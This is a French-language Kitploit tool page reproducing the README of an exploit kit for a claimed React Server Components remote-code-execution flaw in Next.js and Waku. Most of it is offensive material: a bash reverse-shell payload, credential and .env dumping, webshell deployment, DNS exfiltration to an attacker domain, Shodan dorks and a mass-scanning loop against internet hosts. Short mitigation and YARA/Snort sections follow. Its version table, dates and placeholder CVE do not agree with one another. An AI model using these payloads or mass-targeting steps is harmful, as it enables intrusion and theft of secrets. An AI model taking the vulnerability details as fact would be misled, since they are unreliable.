Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PoC-RCE-CVE-2025-55182 | Kitploit
Outils/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubilixm/poc-rce-cve-2025-55182
il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

PoC-RCE-CVE-2025-55182

Voir le dépôt
Partager

🔥 Kit d'exploitation RSC RCE

Version License Node Platform

Kit d'exploitation avancé pour les vulnérabilités d'exécution de code à distance (RCE) des React Server Components

Pour les tests d'intrusion autorisés et la recherche en sécurité uniquement

Fonctionnalités • Installation • Utilisation • Intégration Shodan • Exemples • Avertissement


📋 Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Fonctionnalités
  • Installation
  • Démarrage rapide
  • Utilisation
    • Exploitation de base
    • Payloads disponibles
    • Payloads personnalisés
  • Intégration Shodan
  • Analyse automatisée
  • Exemples
  • Atténuation
Télécharger l’outil
  • Versions concernées
  • Contribution
  • Avertissement
  • Licence

  • 🎯 Aperçu

    Ce kit exploite une vulnérabilité critique d'exécution de code à distance (RCE) dans les implémentations des React Server Components (RSC), ciblant spécifiquement :

    • Next.js (versions 13.4.0 - 14.1.0)
    • Waku (versions vulnérables)

    La vulnérabilité tire parti de la pollution de prototype et d'une désérialisation non sécurisée dans le mécanisme de gestion des données de RSC pour parvenir à une exécution de code arbitraire sur le serveur.

    🔴 Sévérité : CRITIQUE

    • Score CVSS : 9,8 (Critique)
    • Vecteur d'attaque : Réseau
    • Privilèges requis : Aucun
    • Interaction utilisateur : Aucune
    • Impact : Compromission totale du serveur

    🔬 Détails de la vulnérabilité

    Contexte technique

    Les React Server Components utilisent un format de sérialisation personnalisé pour transférer les données entre le client et le serveur. La vulnérabilité réside dans la façon dont ces frameworks désérialisent et traitent des payloads spécialement conçus.

    Chaîne d'attaque :

    1. Construction du payload : Concevoir un payload RSC malveillant avec des références circulaires
    2. Pollution de prototype : Abuser de $X:constructor:constructor pour accéder au constructeur Function
    3. Injection de code : Injecter du JavaScript arbitraire dans le champ _prefix
    4. Exécution : Le serveur désérialise et exécute le payload

    Déroulement de l'exploitation

    root@kitploit:~
    Attacker → Malicious RSC Payload → Target Server
                                             ↓
                                  Unsafe Deserialization
                                             ↓
                                  Prototype Chain Access
                                             ↓
                                  Function Constructor
                                             ↓
                                  ⚠️ RCE ACHIEVED ⚠️
    

    ✨ Fonctionnalités

    Fonctionnalités principales

    • ✅ Prise en charge de plusieurs frameworks : Next.js et Waku
    • ✅ 8 payloads pré-construits : Du PoC aux reverse shells complets
    • ✅ Exécution de code personnalisé : Injecter n'importe quel code JavaScript
    • ✅ Intégration Shodan : Découverte automatisée de cibles
    • ✅ Analyse de masse : Tester plusieurs cibles automatiquement
    • ✅ CLI professionnelle : Interface en ligne de commande complète
    • ✅ Journalisation détaillée : Sortie colorée avec horodatage
    • ✅ Gestion des erreurs : Gestion robuste des erreurs

    Payloads pré-construits

    PayloadDescriptionCas d'utilisation
    consolePoC de base (console.log)Vérifier la vulnérabilité
    reverseShellReverse shell BashAccès initial
    readFileLire /etc/passwdAccès au système de fichiers
    envDumpVider les variables d'environnementExtraction d'identifiants
    execCommandExécuter des commandes systèmeExécution de commandes arbitraires
    webshellDéployer un webshell ExpressAccès persistant
    exfilPackageExfiltrer package.jsonAnalyse des dépendances
    dnsExfilExfiltration DNS (OOB)Exploitation aveugle

    📦 Installation

    Prérequis

    • Node.js >= 16.0.0
    • npm ou yarn
    • Shodan CLI (optionnel, pour l'analyse automatisée)

    Cloner le dépôt

    root@kitploit:~
    git clone https://github.com/yourusername/rsc-rce-exploit.git
    cd rsc-rce-exploit
    

    Installer les dépendances

    root@kitploit:~
    npm install
    # or
    yarn install
    

    Configurer Shodan (optionnel)

    root@kitploit:~
    # Install Shodan CLI
    pip install shodan
    
    # Initialize with your API key
    shodan init YOUR_API_KEY
    

    🚀 Démarrage rapide

    1. Vérification de vulnérabilité de base

    root@kitploit:~
    node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
    

    2. Obtenir un reverse shell

    root@kitploit:~
    # Start listener
    nc -lvnp 4444
    
    # Execute exploit
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    3. Exécuter une commande personnalisée

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload execCommand \
      --command "whoami"
    

    📖 Utilisation

    Exploitation de base

    root@kitploit:~
    node rsc-rce-exploit.js [options]
    

    Options

    OptionDescriptionRequis
    --target <url>URL cible✅
    --framework <name>Framework : next ou waku❌ (défaut : next)
    --payload <name>Nom du payload (voir ci-dessous)✅*
    --custom <code>Code JavaScript personnalisé✅*
    --lhost <ip>Votre IP (pour le reverse shell)❌
    --lport <port>Votre port (pour le reverse shell)❌
    --command <cmd>Commande à exécuter❌
    --endpoint <path>Endpoint RSC personnalisé (Waku)❌
    --action-id <id>ID next-action personnalisé❌
    --listLister les payloads disponibles❌
    --verboseSortie détaillée (verbose)❌
    --helpAfficher l'aide❌

    *--payload ou --custom est requis

    Payloads disponibles

    Voir tous les payloads :

    root@kitploit:~
    node rsc-rce-exploit.js --list
    

    Sortie :

    root@kitploit:~
    📋 Available payloads:
    
      console              - Basic PoC - Console output
        Code: console.log(7*7+1)
    
      reverseShell         - Reverse shell (bash)
        Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
    
      readFile             - Read /etc/passwd
        Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
    
      envDump              - Dump environment variables
        Code: console.log(JSON.stringify(process.env,null,2))
    
      execCommand          - Execute system command
        Code: console.log(require('child_process').execSync('COMMAND').toString())
    
      webshell             - Write webshell to /tmp
        Code: require('fs').writeFileSync('/tmp/shell.js','...')
    
      exfilPackage         - Read package.json
        Code: console.log(require('fs').readFileSync('./package.json','utf8'))
    
      dnsExfil             - DNS exfiltration
        Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
    

    Payloads personnalisés

    Exécuter n'importe quel code JavaScript :

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://target.com \
      --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
    

    🌐 Intégration Shodan

    Dorks Shodan

    Cibles Next.js

    root@kitploit:~
    # Basic Next.js
    http.component:"Next.js"
    
    # Next.js with RSC
    http.html:"__next" http.html:"RSC"
    
    # Next.js dev mode (more vulnerable)
    http.html:"__NEXT_DATA__" http.html:"development"
    
    # Self-hosted Next.js (not on Vercel)
    http.component:"Next.js" -org:"Vercel"
    
    # Geographically targeted (France)
    http.component:"Next.js" country:FR
    
    # Ultimate combo for pentesting
    http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
    

    Cibles Waku

    root@kitploit:~
    # Waku framework
    http.html:"waku" http.html:"RSC"
    
    # Waku RSC endpoints
    http.path:"/RSC/"
    

    Analyse Shodan automatisée

    Utilisez le script d'automatisation fourni :

    root@kitploit:~
    # Scan and test automatically
    ./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
    
    # With custom payload
    ./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
    

    Workflow Shodan manuel

    root@kitploit:~
    # 1. Search Shodan
    shodan search 'http.component:"Next.js" country:FR' \
      --fields ip_str,port,org,hostnames \
      --limit 100 > targets.txt
    
    # 2. Test each target
    while read -r line; do
        ip=$(echo $line | awk '{print $1}')
        port=$(echo $line | awk '{print $2}')
        echo "[*] Testing http://$ip:$port"
        node rsc-rce-exploit.js \
          --target "http://$ip:$port" \
          --payload console
    done < targets.txt
    

    🤖 Analyse automatisée

    Script d'exploitation de masse

    L'outil mass-exploit.js permet de tester plusieurs cibles :

    root@kitploit:~
    # From file
    node mass-exploit.js --file targets.txt --payload console --threads 10
    
    # From Shodan
    node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
    
    # Save results
    node mass-exploit.js --file targets.txt --payload console --output results.json
    

    Intégration dans CI/CD

    Exemple pour les tests de sécurité automatisés :

    root@kitploit:~
    # .github/workflows/security-test.yml
    name: RSC Security Test
    on: [push]
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v2
          - run: npm install
          - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
    

    💡 Exemples

    Exemple 1 : PoC de base

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload console
    

    Sortie attendue :

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════╗
    ║           RSC RCE Exploit - Enhanced Version              ║
    ║         React Server Components Code Execution            ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Starting exploitation...
    [*] Targeting Next.js RSC endpoint...
    [*] URL: https://vulnerable.example.com
    [*] Payload: console.log(7*7+1)...
    [+] Response status: 200
    [+] Response body:
    50
    [*] Exploitation complete!
    

    Exemple 2 : Exfiltration de variables d'environnement

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://api.target.com \
      --payload envDump
    

    Résultat :

    • Vide toutes les variables process.env
    • Utile pour extraire :
      • Identifiants de base de données
      • Clés API
      • Secrets AWS
      • Secrets JWT

    Exemple 3 : Reverse shell

    root@kitploit:~
    # Terminal 1: Start listener
    nc -lvnp 4444
    
    # Terminal 2: Execute exploit
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    Exemple 4 : Déploiement d'un webshell

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload webshell
    
    # Access webshell
    curl "http://vulnerable.example.com:9999/cmd?c=whoami"
    

    Exemple 5 : Exfiltration DNS (aveugle)

    root@kitploit:~
    # Setup Burp Collaborator or your DNS server
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
    

    Exemple 6 : Framework Waku

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://waku-app.example.com \
      --framework waku \
      --endpoint /RSC/custom.txt \
      --payload execCommand \
      --command "id"
    

    Exemple 7 : Exfiltration de fichiers

    root@kitploit:~
    # Read sensitive files
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "console.log(require('fs').readFileSync('.env','utf8'))"
    

    🛡️ Atténuation

    Pour les développeurs

    1. Mettre à jour le framework

      root@kitploit:~
      npm install next@latest
      # or
      npm install waku@latest
      
    2. Valider les entrées

      root@kitploit:~
      // Validate all RSC payloads
      function validateRSCPayload(payload) {
        // Implement strict validation
        if (payload.includes('constructor')) return false;
        if (payload.includes('__proto__')) return false;
        return true;
      }
      
    3. Politique de sécurité du contenu

      root@kitploit:~
      // next.config.js
      module.exports = {
        async headers() {
          return [{
            source: '/:path*',
            headers: [
              { key: 'X-Frame-Options', value: 'DENY' },
              { key: 'X-Content-Type-Options', value: 'nosniff' },
            ],
          }]
        },
      }
      
    4. Désactiver RSC en production (si ce n'est pas nécessaire)

      root@kitploit:~
      // next.config.js
      module.exports = {
        experimental: {
          serverActions: false,
        },
      }
      

    Pour les équipes de sécurité

    • 🔍 Surveiller les requêtes RSC suspectes
    • 🚨 Alerter sur l'utilisation de l'en-tête next-action
    • 🔒 Règles WAF pour bloquer les tentatives de pollution de prototype
    • 📊 Analyse des journaux pour les tentatives d'exploitation

    Règles de détection

    Règle YARA :

    root@kitploit:~
    rule RSC_RCE_Exploit {
        strings:
            $s1 = "constructor:constructor"
            $s2 = "_prefix"
            $s3 = "$@"
            $s4 = "resolved_model"
        condition:
            3 of them
    }
    

    Règle Snort :

    root@kitploit:~
    alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
    

    🎯 Versions concernées

    Next.js

    Plage de versionsStatutRemarques
    < 13.4.0✅ Non concernéRSC non activé par défaut
    13.4.0 - 13.4.19⚠️ VULNÉRABLERCE critique
    13.5.0 - 14.0.4⚠️ VULNÉRABLERCE critique
    14.1.0⚠️ VULNÉRABLEAtténuation partielle
    >= 14.1.1✅ CorrigéMise à jour recommandée

    Waku

    Plage de versionsStatutRemarques
    < 0.18.0⚠️ VULNÉRABLERCE critique
    >= 0.18.0✅ CorrigéMise à jour recommandée

    🤝 Contribution

    Les contributions sont les bienvenues ! Veuillez suivre ces directives :

    1. Forkez le dépôt
    2. Créez une branche de fonctionnalité (git checkout -b feature/amazing-feature)
    3. Commitez vos modifications (git commit -m 'Add amazing feature')
    4. Poussez vers la branche (git push origin feature/amazing-feature)
    5. Ouvrez une Pull Request

    Idées de contribution

    • Ajouter d'autres modèles de payloads
    • Implémenter des modèles Nuclei
    • Ajouter la prise en charge d'autres frameworks RSC
    • Améliorer l'intégration Shodan
    • Ajouter une fonctionnalité de rapport (PDF/HTML)
    • Créer un conteneur Docker pour le kit

    ⚖️ Avertissement

    root@kitploit:~
    ⚠️ LEGAL DISCLAIMER ⚠️
    
    This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
    
    By using this software, you agree to:
    
    1. Only test systems you own or have explicit written permission to test
    2. Comply with all applicable local, state, national, and international laws
    3. Not use this tool for malicious purposes or illegal activities
    4. Accept full responsibility for your actions
    
    The authors and contributors:
    - Are NOT responsible for any misuse or damage caused by this tool
    - Do NOT encourage or condone illegal activity
    - Provide this tool "AS IS" without warranty of any kind
    
    UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
    
    Violators will be prosecuted to the fullest extent of the law under:
    - Computer Fraud and Abuse Act (CFAA) - USA
    - Computer Misuse Act - UK
    - European Cybercrime Convention
    - And other applicable laws in your jurisdiction
    
    USE AT YOUR OWN RISK.
    

    📄 Licence

    Ce projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.

    root@kitploit:~
    MIT License
    
    Copyright (c) 2024 RSC RCE Exploit Contributors
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    

    🔗 Ressources

    Documentation officielle

    • Next.js Server Actions
    • React Server Components
    • Documentation Waku

    Recherche en sécurité

    • Analyse de la vulnérabilité de désérialisation RSC
    • Pollution de prototype en JavaScript
    • Bonnes pratiques de sécurité Next.js

    CVE associées

    • CVE-2024-XXXXX (espace réservé — ajouter la vraie CVE lorsqu'elle sera disponible)

    📬 Contact

    • GitHub Issues : Signaler des bugs ou demander des fonctionnalités
    • Problèmes de sécurité : [email protected]
    • Twitter : @yourhandle

    ⭐ Si cet outil vous a aidé dans vos recherches en sécurité, merci de lui laisser une étoile ! ⭐

    Fait avec ❤️ par des chercheurs en sécurité, pour des chercheurs en sécurité

    ⬆ Retour en haut